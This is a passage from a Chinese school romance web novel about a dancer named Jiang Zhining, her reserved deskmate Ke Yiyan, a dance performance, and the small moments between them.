噫，双A组，好像是有点看头的～ 幸好她是追星少女，非常清楚怎么样嗑CP。 CP糖在哪里？ 那必然隐藏在细节里嘛。 * 教室外。 余诗看姜织宁热情冲她笑，先是愣了愣，随后也跟着灿烂笑起来，因为知道大概率稳了。 “宁王，入社的事考虑的怎么样啦？” 姜织宁点头：“可以。” “太好了！”余诗眼睛瞬间亮起来，“那我们明天就——” 话还没说完，就听姜织宁接着说：“但是做不了副社长。” “啊”余诗垮下脸，“别呀！！！” 姜织宁可是街舞社的金字招牌门面，多少人就是冲着她来的，这马上就要社团纳新了呀！ 姜织宁叹气，实话实说：“主要是我身体不如从前，没这个精力，副社一职，你还是看看其他人选吧。至于社团活动，我还是可以正常参加的，平时有什么需要帮忙的地方，也可以及时告诉我。” 尽管余诗很想和姜织宁共事，但也知道姜织宁上半年出过意外，导致身体不太好，她确实不能强人所难。 好在姜织宁答应了重新入社，光是这点，就已经让余诗开心不已。 余诗急不可耐地说：“那我们明天活动课就开始排练？这周五晚上就是军训汇演了。” 姜织宁点头答应：“没问题。” …… 隔天活动课，余诗准时过来叫姜织宁，喊她一起去艺体楼的舞蹈教室排练。 街舞社成员看到姜织宁回归，全都高兴得不行，一个个跑到她身边，围着她叫学姐叫宁王，热情嘘寒问暖。 排练开始，一套基础动作热身完，切换音乐，其中一位女生熟练站到舞房最后面的靠墙椅子上，双手高抬，举起手机，对着落地镜录制排练视频。 由于是原班人马，又是之前合跳过很多遍的成品舞，几次排练下来还算顺利。 不过《Monster》是一只走位靠飞，技巧难度颇高的大框架群舞，所以真要抠起细节来，小问题还是不少。 中场休息时，余诗拿着刚才拍摄的排练视频，认真和姜织宁讨论几个要调整的小细节，其他人则靠在窗边，闲聊看风景。 刚才耳边全是音乐声，这会儿音响暂停，窗外进球的欢呼喝彩声便格外清晰。 姜织宁和余诗商量完要改进的地方，从地上纸箱里拿了瓶矿泉水，靠到窗边休息。 艺体大楼外面便是连成片的网球场、篮球场、足球场、羽毛球场等体育场地，每逢活动课时间，这些活动区域是学校里最热闹的地方。 距离最近的是网球场，位置就在大楼正对面，此时，网球社成员散落在球场四处，各自训练着。 “咦，衍神今天也来打球了？真罕见。” 说话的女生是和余诗同班的菲菲。 边上有人问：“谁啊？” “还能谁，柯译衍呗。” “哪呢，我看看我看看。” “校草你都看不见啊，眼睛该去治治了！” 几个女生同时笑出声。 “哦，看见了！妈耶，他打网球好帅啊啊啊啊！！！” “果然是校草，你瞧瞧这吸引力，去球场围观的女生都比之前多出好几倍，全都跑去看他。” “快看，有女生给他送水了！呃他没接” “那完蛋了，这次网球社高一纳新肯定会爆火！不会学妹们都跑去网球社吧？？？” “啊啊啊啊，无法忍受！这完全就是社团尊严之战啊！” “不怕，咱们街舞社有门面宁王镇场，招新绝对没问题的！” “菲菲啊，吴瑞奇不是体育生吗，怎么我看这对打架势，吴瑞奇完全比不过衍神呢？” “对哦，这么一看，好像每次都是吴瑞奇接不到球。” 闻言，菲菲上半身突然探出窗外，双手放到嘴边呈喇叭状，冲网球场方向高喊了声：“吴瑞奇，加油啊！！！” 女生嗓门超级大，整个球场都听见了，甚至还有回音。 正要发球的吴瑞奇愣了愣，停下来四处张望，很快发现站在舞蹈室窗边，拼命冲他挥手的菲菲，他腼腆摸了摸鼻尖，笑嘻嘻挥手回应。 柯译衍顺势侧目瞥了眼，轻而易举注意到站在女生堆里的姜织宁，他看她两眼，目无情绪收回视线。 余诗见状，笑着推菲菲，“哎哟，你俩要不要这么高调啊，小心把老师招来！” “我就给他加油啊，又没干嘛。”菲菲耸耸肩，然后分享说，“吴瑞奇的球技确实不如衍神，他自己也说衍神的网球很牛，和他不在一个级别上。” 有人好奇问：“很牛是有多牛？” 菲菲：“我也不懂网球啦，反正就是听说很厉害，拿过挺多冠军！而且很搞笑哦，吴瑞奇之前和我提过，说他小时候打网球，曾经和柯译衍同一个教练过，当时教练看柯译衍条件好，就问他有没有兴趣去省队，结果你们猜，衍神最后怎么回复教练的？” “怎么回的？” “快说啊，别卖关子！” 众人好奇催促。 “衍神家长说——“ 菲菲咳了声，唯妙唯俏模仿起来：“教练啊，我们回去后问了下小朋友的意见，我家小朋友说，他还是更喜欢学习。” “啊？？？” “哇，这这么凡尔赛的吗？” “真假的，意思是婉拒了？” “对啊，婉拒了呗。”菲菲仰天大笑，“我们家孩子还是更喜欢学习，啊哈哈哈哈哈，太凡尔赛了！吴瑞奇说，当时这句话都给教练和其他在场家长搞懵了！” “其他家长肯定心里在想，这种好事，怎么就轮不到我家孩子？哈哈哈哈！” “我怎么听着可惜呢，毕竟能让教练这么问，说明柯译衍在网球上很有天赋，天赋这种东西，又不是人人都有的，他干嘛不走体育生路线呢？” 菲菲见怪不怪道：“哎呀，说不定网球只是人家的兴趣爱好而已，没看见柯译衍的成绩也很顶吗？再说了，竞技体育很残酷的，走这条路没那么容易，吴瑞奇和我说，单论网球这个体育项目，目前还是欧美那边比较强势，尤其是男网。” 女生们在叽叽喳喳议论柯译衍的时候，姜织宁没搭腔，一直安静注视着球场上的那抹耀眼英姿。 站在球场上的黑衣少年手握网球拍，发梢被风吹得微翘，她第一次发现，完全不同于平日里的低调姿态，此时此刻，少年一身藏不住的锋芒锐气。 黄色小球被柯译衍自下而上抛至空中。 与此同时，拉拍，侧身屈膝蓄力，挥拍弹跳而起的那一瞬间，身姿如闪电般迅猛，击球力量凶狠凌厉，却也兼备了优雅之姿。 非常具有观赏性的漂亮发球。 在他惊人的发球时速下，网球在空中划过一道完美的抛物线，球线刁钻地砸向外角边线。 “fifteen-love！” “好球！漂亮！” “ACE球太牛了！” 掌声、欢呼喝彩声瞬间纷至沓来。 而柯译衍，是人群中最受瞩目的焦点。 姜织宁看得很清楚。 少年在发光。 休息时间到，余诗拍手发话：“好了好了，帅哥欣赏时间到此为止！嘴边口水都给我擦一擦，眼神心思都收一收，我们要开始训练了啊！” 姜织宁弯了弯唇，收回视线。 第20章 好看吗？酷不酷？ 几天后, 周五晚上，江中高一新生军训汇演。 和往年一样，文艺表演放在大操场上举行。 下午最后一堂正课下课, 姜织宁拎起装着演出服的纸袋，和周静瑶一起赶向舞蹈教室。 一进门, 有人坐角落里专心吃晚饭，有人对着落地镜一遍遍抠动作细节, 有人打电话和操场那边确认最终音乐顺序，有人跑来跑去换演出服。 几张桌椅上摆满了各式各样的物品, 视线所及之处, 乱中有序。 余诗特意用社团经费请了位化妆师上门做妆造, 忙碌中，余诗瞄见姜织宁进门, 立马抬手喊了声：“宁王，你先去换衣服吧, 菲菲这边马上好了，下一个就轮到你化妆。” 闻言, 周静瑶陪姜织宁去厕所换衣服。 姜织宁很快换好衣服出来，上半身短款宽松米色字母长袖, 下半身阔腿烟灰色复古工装裤, 脚踩浅色厚底运动鞋。 一身又酷又飒的高街风酷妹穿搭。 “杀我！” “超A！” 周静瑶上下打量几眼后, 立马竖起大拇指称赞, 当即举起相机给她拍照。 两人返回舞蹈室，周静瑶拿着相机到处拍演出幕后花絮, 姜织宁则接替菲菲去化妆。 化妆师看了眼手机里的妆造方案, 和姜织宁确认：“妹妹你是做鸡毛半扎发造型哦？” 姜织宁点了点头。 “今年不戴帽子啦？”菲菲倚靠旁边，一边问, 一边抓紧时间吃晚饭。 “不戴。”姜织宁摇头说，“去年帽子被妖风吹跑，头发被弄得乱七八糟，长记性了。” 菲菲闻言笑起来，说：“哪有啦，你帽子被风吹跑的那一瞬间完全是Killing part啊！我们当时都被学姐惊艳到了！” 去年也是差不多这个时间，校街舞社按惯例参加高一新生军训汇演，那次姜织宁她们跳的也是一支很Bking的hiphop舞。 上场后，大家表情都很专业，特别Bking。 结果真实情况是，看似炸裂全场的炫酷舞蹈，到了中途状况频出。 表演期间，有人鞋子莫名其妙踢飞出去，有人用力过猛假发片甩到摄影师头上 由于看到同伴失误，接二连三的人一边跳舞一边Bking冷脸破功，五官表情乱飞，止不住地笑场。 而姜织宁在向前空翻的过程中，头顶棒球帽意外被妖风吹走，低扎成丸子的长发随即散开，肆意飞扬于风中。 手脚前翻落地的那一瞬间，她本应冷酷的表情因意外干扰而绷不住了，当即无奈抿唇，忍不住眉眼弯弯笑了好几下。 这一幕正好被摄影师的镜头捕捉到，后来街舞社在官号上发布了表演视频，姜织宁这段小插曲一直被人津津乐道，传为经典片刻。 在姜织宁眼中，显然算是烦人的失误，但在菲菲那帮新生眼中，却是Killing part一样的心动瞬间，新生们当场激动地吱哇乱叫，嘶吼不停。 所以这次姜织宁吸取教训，不戴帽子了，直接选了个利落方便的鸡毛半扎发。 “对了，操场上有贴地贴吗？”姜织宁随口问道。 菲菲摇头：“社长说贴不了，贴上去地面不平整，脚感不行，还不如不贴。” 姜织宁叹了口气。 其实大家都不爱在草地上跳舞，脚底摩擦力太大，特别费体力，像是需要滑动之类的舞蹈动作更是难做。 窗外夕阳逐渐落山，彩霞满天，暮色将至，余诗匆忙跑进来催进度。 “抓紧了啊！大家把自己的东西全部收拾好，别忘记带上第二套演出服，我们等会儿直接去操场彩排，不回舞蹈室！” 十五分钟后，一行人各自拿上衣物，赶向操场。 乱七八糟的东西全部堆在操场指定位置，姜织宁蹲在地上整理时，发现护膝没带过来，她蹙眉仔细翻找着，旁边突然传来一声大吼。 “哎呀我去！” “怎么了？”姜织宁扭头。 菲菲举着小镜子，小心翼翼摸脸。 女生说：“我一时手贱，把脸上的钻石贴抠下来了” “哪里啊？” “这里。”菲菲扭头看向姜织宁，指着眼角说。 姜织宁顺势瞄了眼，发现女生眼角旁边确实突兀空着一小块，近距离看上去还挺明显。 为了配合暗黑的舞蹈风格，化妆师在所有人脸上都贴了银黑色的钻石贴，视觉效果特别酷。 “那你重新贴上去试试？”姜织宁建议道。 菲菲欲哭无泪：“问题是，我是在来的路上手贱抠的，早就不知道掉哪里去了。” “别急，我带了。”姜织宁去翻袋子，结果翻了个底朝天，都没看到彩钻贴纸。 没带么？ 应该带了吧。 她蹙眉停下来，努力回忆，最后总算想起来贴纸被她遗忘在课桌里。 周静瑶忙着拍摄，余诗又在提醒马上就要彩排走位了，如果她亲自回班去拿肯定来不及，只能看看有没有同学愿意帮忙跑一趟。 就在这么想时，站起来四处张望的姜织宁一眼瞄见不远处的俞杨。 “俞杨！” 俞杨听见有人喊，随之停下脚步。 姜织宁小跑到他面前，问道：“你现在回班吗？” “啊那个，衍衍神回的！”不等姜织宁有所反应，俞杨已经热心肠回头，大吼了声，“衍神，宁王找你有事！快点过来！” 姜织宁：“” 啊？ 姜织宁眼中露出几分迷茫之色，她不是找俞杨帮忙吗，怎么就突然变成找柯译衍了？ “有人找你，下次再讨论吧。” 姚飞正和柯译衍聊物理题，发现俞杨朝这边挥手，便笑着同柯译衍打了声招呼，先行离开。 眼看柯译衍步伐慢悠悠，俞杨就有点心急，忍不住招手催了句：“我说你磨磨蹭蹭干嘛呢，等着八抬大轿过来抬你吗！走快点啊衍神，黄花菜都凉了！” 靠，慢吞吞的！ 俞杨心中不满犯嘀咕，特意给你制造互动机会呢，还不赶紧麻溜过来！ 拜托，和宁王多互动，友好相处行吗！ 免得一天到晚让他觉得后脑勺发凉！ 之前，俞杨一度提心吊胆，瞎担心柯译衍会不会喜欢上姜织宁，结果几天暗中观察下来后，事实证明，完全是他想多了。 难道就是因为王不见王，所以，坐他后排的双A组总是半天不说一句话？ 这两人坐位子上基本不说话，相处气氛堪比医院太平间，逼的俞杨不止一次怀疑，他后面坐着的到底是不是活人啊？？？ 否则为什么嘴巴和缝上一样，都不讲话？！ 尤其点名批评柯译衍！ 态度冷冷淡淡，把沉默是金的美好品德贯彻到了骨子里，跟要去做沉默代言人似的，每次都是姜织宁主动找他，他才会惜字如金开口。 没错，俞老师是叮嘱过他，千万别对姜织宁感兴趣，但是，也没必要做到这种程度吧？？？ 双A组这种堪比太平间的冷冰冰氛围，经常搞得俞杨压力山大，他都不敢转身和姜织宁说话，就挺折磨人的 柯译衍走到两人面前，目无情绪斜了俞杨一眼，只敢在远处耍横的俞杨立马心虚闭麦。 “什么事？”柯译衍平静目视姜织宁。 “” 姜织宁看俞杨一眼，心里叹气，算了，情况紧急，找谁帮忙都一样。 她指了下操场中央，好声好气说：“我的护膝落抽屉里没带过来，马上要过去彩排了，我走不开，能不能麻烦你帮我拿一下？” 柯译衍扭头看向俞杨，眼神很困惑。 就想问问这人有没有良心？ 为什么跑腿这种“好事”非要让给他来做。 俞杨装无辜，心虚别开眼，然后大步流星走向凑巧经过的吴瑞奇，手臂热情搭上对方肩膀：“好久不见啊，我亲爱的奇哥哥！” 柯译衍冷眼旁观俞杨演戏。 吴瑞奇表情很是茫然：“哈，你智障失忆啊？我们不是十分钟前才见过？” “是吗，我不记得了。”俞杨睁眼说瞎话。 吴瑞奇懒得搭理智障，推了推他：“哎衍神也在，你走开，我要找衍神——” “我说你，别天天衍神衍神的！几岁了，学会独立行走行不行？少粘人家啊，人衍神现在有事！” 俞杨面无表情打断吴瑞奇，将人强行拉走。 吴瑞奇很气愤：“卧槽！你还有脸说我，我看你才像个挂件吧！” 两人打闹着走远。 “行吗？可以吗？”没时间了，姜织宁不客气地催了句，她注视着柯译衍，真诚说，“谢谢啊，事后请你喝饮料。” 和柯译衍做同桌的时间并没有多久，但是，姜织宁自认为她多多少少摸清了点少年的脾性。 就怎么说呢，她这个新同桌是真的话少，相处至今，基本都是她主动找他说话，她问一句，他回一句，明显能感受到少年对她态度不热情，甚至可以形容为冷淡。 彼此之所以能够和平共处至今，完全是因为，柯译衍从来不会不好好说话。 冷淡归冷淡，至少他知道好好讲人话，讲话有个度，懂分寸，从来不会乱开玩笑，对任何人都是如此。 其实姜织宁还挺意外的。 毕竟，这个年纪的男生总犯中二病，很多都是自我感觉良好，自以为很拽很帅，其实讲话行为都特别没礼貌的装逼犯。 像柯译衍这样言行有教养的少年，真挺难得。 姜织宁最不能忍受的一点，就是男生不会好好说话，要是被她碰上装逼犯，那她多少是要给对方一点颜色看看的。 柯译衍这种看着冷脸其实有礼貌的反差型少年，她以前在音暴里遇到过。 她在音暴主要上的是hiphop舞蹈课，高级班或者大师班，一起上课的男学员更多些。 有一次，班里来了个长得很帅，但特别不爱说话，舞技超级牛的冷脸Bking学员。 少年和她差不多大，叫匡延。 起初大家都以为匡延很不好相处，后来一接触，简直大跌眼镜，因为发现他性格挺好，只是不爱说话而已，还不禁逗，特别容易耳根泛红。 所以，姜织宁对柯译衍的冷淡态度还是比较容忍的。 主要她自己也是慢热话不算多的人，至于平时班里有什么要沟通的，她也不客气，会主动开口问他，柯译衍都会回应 她还催上了。 揽活那个狗东西早已没良心顾自跑了，他能怎么办？ 心里叹了口气，柯译衍收回视线，妥协道：“就拿护膝？” 姜织宁点头：“哦对了，还有彩钻贴纸，应该是和护膝放在一起。” 彩钻贴纸？ 无比陌生的字眼。 “什么东西？”柯译衍沉默了下，发自内心地问。 没由来的，姜织宁忽然想起中午发生的小插曲。 她弯唇笑起来，故意抬起手，指了指贴在自己眼睛周围的钻石贴，语气十分愉悦地说：“就这个啊。” 柯译衍：“” 姜织宁笑眯眯补了句：“我都说了是贴在眼睛上用的，你还不信。” 柯译衍：“” 她双手慵懒环到胸前，微微歪头看着柯译衍，问他：“怎么样？” “什么怎么样？”柯译衍淡声反问。 姜织宁使坏问：“贴上去好看吗？” 柯译衍：“” 看他不说话，她又追问：“酷不酷？” 柯译衍：“” 柯译衍无话可说，脑子里当即飘过一个念头—— 他这同桌，绝对有气死人的本事。【你现在阅读的是 】 20-30 第21章 他唯独注视着她 今天午休的时候, 姜织宁全面整理了一遍杂乱的课桌。 彩钻贴纸这种东西重量特别轻，体积也不显眼，导致她整理期间一个不注意, 就从课桌里飘飞出去，落到柯译衍脚边。 柯译衍顺势捡起来, 看清手里五颜六色的儿童贴纸后，诧异挑了下眉, 正反打量了好几眼，才慢悠悠递给童心未泯的同桌。 当时, 他看姜织宁的眼神还挺意味深长。 这位看着不太好相处, 且外号听上去相当霸气的宁王同学, 居然和他家正在上小学二年级的小表妹拥有同一个兴趣爱好。 那就是—— 都喜欢玩花花绿绿的儿童贴纸。 这反差，确实没想到, 嗯，看来老话说得对, 看人不能看表面。 另一边，姜织宁察觉出柯译衍眼神不对劲, 敏锐猜到他误会了，停下整理动作, 对他说：“这不是拿来贴在本子上玩的。” 柯译衍礼貌笑了下, 淡定点头表示了解。 “……”姜织宁忍不住又解释一句, “是贴在脸上装饰用的。” 贴脸上装饰用？ 哦, 那不就完全一样么。 他那位小表妹堪称贴纸狂魔，家里各式各样的贴纸有好几箱, 平常除了贴本子、贴墙上、贴猫猫狗狗身上, 还会经常贴自己脸上。 没记错的话，小表妹最喜欢贴在眉心上, 那种非常显眼的粉红色闪亮大爱心。 想到这里，柯译衍又笑了笑，这回笑意更深，同时淡定点头表示了解。 姜织宁看他这幅不着调态度，无语翻了个白眼，懒得再解释下去，她忙着整理抽屉呢。 算了，直男审美懂个屁。 这群土狗，理解不了的 晚风徐徐，少女发梢微扬于风中。 姜织宁一身高街潮流打扮，整个人看上去又酷又飒，显然和可爱半点不沾边，就连单看上去很可爱的儿童彩钻贴，这会儿在她脸上也显得酷到没边。 确实是酷Girl。 姜织宁不服输，特意给自己找回场子的那股追问劲，惹得柯译衍从最初的无语，转而被她逗得无奈笑出了声。 他垂眸望着眼前模样鲜妍的少女，不得不顺着她承认，浅笑道：“嗯，你说了算。” 满意了。 姜织宁扬唇笑起来。 柯译衍回到教室，很快在姜织宁课桌抽屉里找到护膝和彩钻贴纸，拿东西的时候，瞥见她平时喝中药的保温杯没带走，他顺手拿出杯子，打开杯盖瞄了眼，发现还没喝完。 姜织宁天天用保温杯喝中药，所以柯译衍知道她一天三次，每次饭后喝药的规律，他没多想，一起拿上杯子离开。 没有袋子装，东西就这么光明正大拿在手里。 小小一包彩钻贴纸算不上显眼，但是到了柯译衍手里，花花绿绿的闪亮小玩意儿就特别引人瞩目了。 和少年的气质很不搭，很违和，因此一路上惊讶声不断。 “衍神，手里拿的什么啊？花花绿绿的。” 柯译衍平静回：“道具。” “哟衍神，这不小孩儿玩的贴纸吗？你还有这兴趣爱好呢？” 柯译衍平静回：“道具。” “衍神，这是哪个女生用的吧？给谁送去呢，是不是有状况啊你！” 柯译衍平静回：“道具。” “呃我没看错吧，柯译衍手里拿的那包东西，好像是我妈拿来美甲用的，就那闪瞎眼大钻石，完全一摸一样哎！！！” 每走几步路就要被人震惊盯着打量，时不时凑上来问一嘴的状况真挺烦人，柯译衍面无表情，不得不加快脚步。 光线渐暗，天空被暮色浸染成静谧沉郁的深蓝色，灯光全部点亮，草地上专门搭建了舞台灯，此刻，操场亮如白昼。 彩排下场后，姜织宁及时把彩钻贴纸递给菲菲。 菲菲接过，茫然看看柯译衍，又看看姜织宁，然后凑到姜织宁耳边，低声问：“衍神送来的？？？” “对。” “噫～你俩什么关系啊？” “……就正常同桌帮忙，赶紧去贴上，没时间了。”姜织宁轻推她一下。 菲菲一步三回头，半信半疑地走了。 姜织宁接过柯译衍手里的护膝，直接就地坐下，熟练脱掉鞋子，挽上裤腿，把护膝套到膝盖上。 穿上鞋子，余光瞄见柯译衍依然站在身后没走，她愣了下，纳闷仰头望向少年。 目光交汇，柯译衍居高临下注视姜织宁数秒，屈膝蹲到她面前，把保温杯递给她。 “干嘛？”她神情不解。 柯译衍：“你忘了喝药。” “是吗，不会吧。”姜织宁完全忘记这回事。 她打开杯盖，朝里面看了眼，还真是。 浓郁的中药味扑面而来，那味道闻得她又想吐了，她果断盖上杯盖，蹙眉敷衍说：“待会儿吧。” 姜织宁手一甩，作势要把保温杯扔到旁边，结果手臂刚伸出去，就被柯译衍拦住。 他握住保温杯底部，不让她扔，看着她问：“待会儿是什么时候？” “啊？” 他问这个干什么，姜织宁胡乱编了句：“就等下啊。” 柯译衍挑眉，不留情戳穿问：“等下是什么时候？” 姜织宁：“” 柯译衍下巴微抬，指了下杯子，催促道：“乱扔什么，草地上很干净吗？现在抓紧喝掉。” 操场上没有桌椅，所以大家东西全都随意丢放在草地上，这种黏黏糊糊的药汁，没准真会招来蚂蚁之类的虫子。 该不会是因为这个原因，柯译衍才一直拿着杯子没走？ 挺细心啊他。 但姜织宁是真不想喝，沉默了下，和柯译衍打起商量：“那我放袋子里行吗？” “你觉得呢？”柯译衍慢悠悠反问。 “你知道中药有多难喝？多难闻吗？”姜织宁深呼吸，发出灵魂拷问，试图感化这个冷酷无情的人。 结果对方无动于衷，平静看着她，就是不放手。 姜织宁：“” 给你！给你！ 她不要了，杯子送他得了！ 一时找不到借口，姜织宁直接撒开拿保温杯的手。 发丝被风吹乱，她抬手挽至耳后，眼睛看向舞台方向，破罐子破摔地说：“没带糖，我喝完中药必需吃糖压味道，不然待会儿跳吐了怎么办？” 下一秒，柯译衍勾起唇角，慢悠悠开口：“嗯，可以理解，放心，我带了。” 姜织宁：“？” 什么鬼，上有政策下有对策啊他？ “哪里？”姜织宁不可思议回头，微微睁大眼，“你在骗人吧？” “骗你干什么？”柯译衍慢条斯理抬起左手，翻转手腕，摊开，两颗酸糖躺在掌心。 “” 姜织宁生无可恋，无话可说。 少女罕见的吃瘪表情让柯译衍彻底控制不住笑意，他好笑瞧着她，轻笑出声，将保温杯往她身前递了递，一副“快点喝，别给我找借口”的强势态度。 姜织宁无语和他对视数秒，最终败下阵来，不情不愿接过杯子。 她如临大敌般，面无表情屏住呼吸，然后像牛饮似的一口气喝到底，直到两颗酸糖含入嘴里，才愿意放开停滞的鼻息。 姜织宁把保温杯塞到袋子最底层，一副打入冷宫永不见天日的死对头做派，然后扭头看向柯译衍，漫不经心地问了句：“请问善良的同桌，这么关心我吃药是为什么？” 她就是随口一问，但问得很直接，这就导致言者无心，听者有意。 柯译衍无言两秒，不着痕迹地轻咳了声，同时手撑着膝盖站起来，偏头看向别处，平淡说：“良心吧。” 姜织宁视线随着他动作上移，目光茫茫然地“啊？”了一声。 柯译衍面不改色，搬出班主任刘彬的大名。 “刘老师让的？” 姜织宁很惊讶，也根本没怀疑这个解释，因为想起报道那天，俞杨就和她说过刘彬交代过柯译衍照看她的事。 但是，喝药这种小事也要柯译衍来管吗？ 那也太麻烦他了吧 她天生就不爱麻烦人，在朋友圈里，她才是经常被朋友请求帮忙的那一个。 唉，不得不说，刘老师也太小心翼翼了。 姜织宁长长叹了口气，拍掉裤腿上的草，站起来，目光复杂看着柯译衍，“你实话实话，我心里承受能力很好。” 柯译衍嗯了声。 姜织宁发自内心地问：“在你们眼里，我有这么脆皮吗？” 柯译衍陷入沉默，心里寻思着，不就喝个药吗，怎么就扯上脆皮了？ 另一边，姜织宁心想，作为她的同桌，柯译衍该不会每天都活在胆颤心惊中？ 那也太为难他了哎。 少女的目光里夹杂着几分担忧和同情，甚至，柯译衍还看出了几分怜爱仿佛他才是那个身体不好的人。 她脑子里都在想什么？ 果然还是得坚持吃药。 柯译衍有些无语地看着姜织宁，答非所问说：“劝你不要有乱七八糟的想法。” 姜织宁：“” 哪里乱七八糟了，她是在担心他哎。 这个冷酷无情的人。 …… 高一新生们吃完晚饭后，按时汇聚到大操场，围坐成一个大圆圈。 这段时间被军训虐惨的新生终于在今天结束苦海，一个个彻底放飞自我，全都兴奋得不行。 姜织宁她们集体坐在舞台旁边候场，不一会儿，主持人激情喊话：“接下来，有请校街舞社为我们带来舞蹈《Monster》！大家掌声欢迎！” 话音落下，大操场爆发出响彻云霄的欢呼声。 江中街舞社向来实力超群，毫不谦虚地说，完全是那种会被人称赞一句“内娱舞台还是得看女高！”的牛逼水平。 街舞社在网上有专属的社团账号，运营得有模有样，不少表演视频的播放量都在百万以上，名气颇高。 刚才候场的时候，已经有不少视线往姜织宁身上偷瞄，这会儿舞团上场后，台下开始接二连三地喊她名字。 全场灯光聚焦。 音乐超燃劲爆。 舞团动作整齐划一。 力度卡点无可挑剔。 舞者们大胆毫无保留地彰显着自信活力，燃烧着无与伦比的热烈青春。 炸翻全场的炫酷舞姿彻底点燃黑夜，气氛变得热血沸腾，在场所有人的胸腔随之升温发热。 观众们不停地尖叫呐喊。 高潮迭起间，有人激动跟唱歌词，有人高声大吼应援。 “啊啊啊啊啊！姜织宁最棒！” “啊啊啊啊！余诗好美！” “卧槽，All Kill！太帅太酷了！！！” “学姐杀我啊啊啊啊啊！！！！” “女神太美了！！！！” “宁王牛逼！！！！！！！” “宁王！宁王！宁王！宁王！” “妈耶，宁王的核心也太牛了吧！动作简直干净得一塌糊涂！” “哎，什么是核心啊？” “给我旁边玩泥巴去。” 大操场上，除了高一新生们，还有一群日复一日刻苦训练的体育生，包括校网球队成员。 今晚网球队的训练计划是体能训练，先绕操场跑几圈。 本应盯梢的教练因为临时肚子疼，不得不抓住凑巧路过的柯译衍，让他帮忙盯一会儿，免得队员们偷懒懈怠。 俞杨一边气喘吁吁绕道跑，一边时不时朝姜织宁激动大吼：“宁王最棒啊啊啊啊啊啊！” 整个人手舞足蹈，声若洪钟，简直和神经病一样。 柯译衍手拿教练给他的训练计划表，站在新生围坐着的大圆圈之外，目光跟随破空的欢呼声，淡淡落到姜织宁身上。 现场这么多人，他唯独注视着她。 没有一丝拖泥带水，姜织宁的舞蹈动作干净利落，爆发力十足，非常有力量，律动中还带着独有的灵动。 极其完美的表现力。 毫不意外，今晚的风也格外偏爱她。 此时此刻，少女站在光里，却是比星光更加耀眼夺目的存在。 第22章 对面有个黑粉！ 隔天是周六, 搬过来的第一个周末，姜织宁没回爷爷家，主要两边距离并不近, 就懒得往返折腾，她打算十一长假再回去。 闹钟忘记关, 导致姜织宁大清早就醒了。 她这周已经逐渐适应早起上学，这会儿被吵醒了, 再也睡不着，安静盯着天花板发了会儿呆后, 伸手捞过床头柜上的平板, 打开英语广播, 躺床上听了一个多小时的听力。 上午在房间里专心做作业，到了中午饭点, 刘阿姨过来叫吃饭，姜织宁抬头应了声, 随后看向视频里板着臭脸的周静瑶。 “那你吃完午饭直接过来吧。” 周静瑶嗯了声，询问：“给你带点零食过来？” 姜织宁：“不用, 姑姑上次买了很多，还有你喜欢的芝士蛋糕。” 周静瑶兴致不高, 点点头, 挂断视频。 姑姑这几天在外地出差, 家里只有姜织宁和刘阿姨两人。 饭菜端上桌, 三道清淡素菜。 姜织宁夹了一筷子荷兰豆，刚入嘴就蹙起眉头, 盐放多了, 太咸。她又尝了口清炒莲藕，再次皱眉, 盐放少了，太淡。 三道菜里，唯一味道正常的就是西红柿炒蛋。 但姜织宁真心觉得，只要下厨的是个正常人，西红柿炒蛋这种极为基础，连厨艺小白都能快速上手的家常菜就不可能翻车。 她是不太挑剔的人，通常都是家里阿姨做什么菜她就吃什么菜，没什么意见。 总体来说，这位刘阿姨的厨艺水平不好不坏，偶尔有翻车的时候，姜织宁除了提醒一声，不会刻意为难。 这时，厨房那边飘来一股炖肉的香气。 闻着香味，姜织宁临时想起姑姑早上给刘阿姨打过电话，叮嘱刘阿姨把昨晚送上门的新鲜牛肉做给她吃。 想到这，她喊了声：“刘阿姨。” “啊，怎么了？”刘萍放下手机，从厨房里走出来。 “牛肉做好了吗？” 刘萍作势朝炉灶方向瞧了眼，然后面色为难地看着姜织宁，说：“哎呀，阿姨早上事情太多，一时给忙忘了，牛肉刚炖上去不久呢，估计得晚饭才能吃。” 姜织宁哦了声，表情有些惋惜。 “怎么了，菜不合胃口？”刘萍关心问。 她拿筷子指了下翻车的两道菜，直白说：“荷兰豆有点咸，莲藕有点淡。” “是吗，我尝尝。”刘萍立马拿了双筷子走过来，尝过之后，脸色旋即微变，“还真是，哎哟你看这事搞的！” 女人立马道歉：“宁宝对不起啊，早上阿姨家里来电话了，说是老人生病住院，弄得阿姨一早上脑子有点乱，做饭时没注意。要不，我现在给你重新做？你想吃什么菜？” 听到刘阿姨这么解释，姜织宁摇摇头，嫌太麻烦，就说算了，直接起身去冰箱里拿了瓶酱菜。 快要吃完午饭时，姑姑发来微信，问姜织宁中午吃的什么，姜织宁拍了张照片发过去，照片里的荷兰豆和莲藕几乎原封不动，唯独那盘西红柿炒蛋快要见底。 在机场的姜颖一看到三样清汤寡水的素菜，瞬间脾气炸了，对此很不满意。 她指尖在屏幕上飞舞，连着给姜织宁发过来好几条信息。 【姑姑】：啊？中午就吃这些？ 【姑姑】：全是素菜，怎么还吃上酱菜了？一点营养都没有！ 【姑姑】：牛肉呢？昨天晚上我特意安排加急送过来的，我不是让刘阿姨给你炖天麻牛肉吗，她是不是没做？ 【姑姑】：刘阿姨在干什么，看我不在家，她就敷衍了事是吧？ 【姑姑】：真是无语，已经不是第一次了！看来这个阿姨还是不行，做事情很不上心，得换人。 【姑姑】：这事和你没关系，我现在打电话问她。 在姜颖眼里，学校食堂都是大锅菜，就算再怎么好吃，那也比不上家里做的饭菜香。 她侄女姜织宁身体不好，平时大部分时间又在学校里吃食堂，学习这么幸苦，好不容易周末回家可以改善伙食了，结果，就给她吃照片里的这些？ 看着就没胃口，还没营养！ 姜颖行事风风火火，姜织宁这边还没看完信息，那边刘萍的手机已经响了起来。 姜颖脾气不好，每次发起火来，声音高，话也密，还毒舌，跟拿刀子扎人心一样，刘萍站在厨房里，面对姜颖的连声质问，嘴上配合应付着好好好，其实内心很不服气，一直在翻白眼。 刘萍全程背对着姜织宁，所以姜织宁并没有发现女人的异常。 * 周静瑶拎着两杯奶茶，在等电梯，余光时不时斜瞄一眼站在旁边的男生。 她盯他很久了。 穿一身黑不说，还戴着棒球帽和口罩，整个人从头到脚捂得严严实实，一双眼睛高频率地四处转动，眼风相当不正，就跟做贼一样，让她感觉很不对劲。 周静瑶默默观察着男生，脑子里怀疑想，这人该不会是……什么私生粉、跟踪狂之类的吧？ 当然不是跟踪她，而是跟踪姜织宁。 毕竟以前出过这种状况。 不是，搞什么毛线啊？ 姜织宁才刚搬过来不久哎，到底是哪个癞蛤蟆，敢跟踪她姐妹？！ 